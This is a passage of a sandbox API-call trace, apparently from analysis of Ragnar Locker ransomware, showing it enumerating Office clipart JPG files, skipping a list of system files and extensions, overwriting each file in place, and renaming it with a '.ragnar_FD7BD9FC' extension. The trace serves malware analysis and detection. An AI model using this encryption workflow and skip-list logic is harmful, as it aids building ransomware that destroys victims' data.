dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341475.JPG", cAlternateFileName="")) returned 1 [0087.804] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.804] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341475.JPG" | out: lpString1="J0341475.JPG") returned="J0341475.JPG" [0087.804] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG") returned=".JPG" [0087.804] lstrcmpiW (lpString1="J0341475.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.804] lstrcmpiW (lpString1="J0341475.JPG", lpString2="autorun.inf") returned 1 [0087.804] lstrcmpiW (lpString1="J0341475.JPG", lpString2="boot.ini") returned 1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="bootfont.bin") returned 1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="bootsect.bak") returned 1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="bootmgr") returned 1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="bootmgr.efi") returned 1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="bootmgfw.efi") returned 1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="desktop.ini") returned 1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="iconcache.db") returned 1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="ntldr") returned -1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="ntuser.dat") returned -1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="ntuser.dat.log") returned -1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="ntuser.ini") returned -1 [0087.805] lstrcmpiW (lpString1="J0341475.JPG", lpString2="thumbs.db") returned -1 [0087.805] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.805] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.805] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.805] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.805] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.805] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.805] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg")) returned 0x20 [0087.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.806] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43490) returned 1 [0087.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa9d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.806] GetProcessHeap () returned 0x580000 [0087.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.806] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.807] VirtualAlloc (lpAddress=0x0, dwSize=0xa9e2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.808] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa9e2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa9e2, lpOverlapped=0x0) returned 1 [0087.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.809] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa9e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.809] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa9e2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa9e2, lpOverlapped=0x0) returned 1 [0087.810] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa9e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.810] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.810] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa9e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.810] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.810] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.810] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.810] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.810] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.811] GetProcessHeap () returned 0x580000 [0087.811] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.811] CloseHandle (hObject=0xf4) returned 1 [0087.811] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" [0087.811] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.ragnar_FD7BD9FC" [0087.811] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.811] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341499.JPG", cAlternateFileName="")) returned 1 [0087.811] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.811] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341499.JPG" | out: lpString1="J0341499.JPG") returned="J0341499.JPG" [0087.811] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG") returned=".JPG" [0087.811] lstrcmpiW (lpString1="J0341499.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="autorun.inf") returned 1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="boot.ini") returned 1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="bootfont.bin") returned 1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="bootsect.bak") returned 1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="bootmgr") returned 1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="bootmgr.efi") returned 1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="bootmgfw.efi") returned 1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="desktop.ini") returned 1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="iconcache.db") returned 1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="ntldr") returned -1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="ntuser.dat") returned -1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="ntuser.dat.log") returned -1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="ntuser.ini") returned -1 [0087.812] lstrcmpiW (lpString1="J0341499.JPG", lpString2="thumbs.db") returned -1 [0087.812] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.812] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.812] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.812] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.812] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.812] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.812] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg")) returned 0x20 [0087.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.813] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16099) returned 1 [0087.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3eda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.813] GetProcessHeap () returned 0x580000 [0087.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.813] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.814] VirtualAlloc (lpAddress=0x0, dwSize=0x3ee3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.814] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3ee3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3ee3, lpOverlapped=0x0) returned 1 [0087.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.815] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ee3, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.816] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3ee3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3ee3, lpOverlapped=0x0) returned 1 [0087.816] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ee3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.816] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.816] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3ee3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.816] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.816] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.816] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.816] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.816] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.816] GetProcessHeap () returned 0x580000 [0087.816] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.817] CloseHandle (hObject=0xf4) returned 1 [0087.817] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" [0087.817] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.ragnar_FD7BD9FC" [0087.817] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.817] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341534.JPG", cAlternateFileName="")) returned 1 [0087.817] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.817] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341534.JPG" | out: lpString1="J0341534.JPG") returned="J0341534.JPG" [0087.817] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG") returned=".JPG" [0087.817] lstrcmpiW (lpString1="J0341534.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.817] lstrcmpiW (lpString1="J0341534.JPG", lpString2="autorun.inf") returned 1 [0087.817] lstrcmpiW (lpString1="J0341534.JPG", lpString2="boot.ini") returned 1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="bootfont.bin") returned 1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="bootsect.bak") returned 1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="bootmgr") returned 1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="bootmgr.efi") returned 1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="bootmgfw.efi") returned 1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="desktop.ini") returned 1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="iconcache.db") returned 1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="ntldr") returned -1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="ntuser.dat") returned -1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="ntuser.dat.log") returned -1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="ntuser.ini") returned -1 [0087.818] lstrcmpiW (lpString1="J0341534.JPG", lpString2="thumbs.db") returned -1 [0087.818] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.818] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.818] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.818] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.818] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.818] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.818] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg")) returned 0x20 [0087.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.821] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8074) returned 1 [0087.821] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.822] GetProcessHeap () returned 0x580000 [0087.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.822] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.823] VirtualAlloc (lpAddress=0x0, dwSize=0x1f8a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.823] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f8a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f8a, lpOverlapped=0x0) returned 1 [0087.824] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.824] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.824] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f8a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f8a, lpOverlapped=0x0) returned 1 [0087.824] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.824] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.825] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.825] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.825] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.825] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.825] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.825] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.825] GetProcessHeap () returned 0x580000 [0087.825] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.825] CloseHandle (hObject=0xf4) returned 1 [0087.825] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" [0087.825] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.ragnar_FD7BD9FC" [0087.825] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.826] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341551.JPG", cAlternateFileName="")) returned 1 [0087.826] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.826] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341551.JPG" | out: lpString1="J0341551.JPG") returned="J0341551.JPG" [0087.826] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG") returned=".JPG" [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="autorun.inf") returned 1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="boot.ini") returned 1 [0087.826] lstrcmpiW 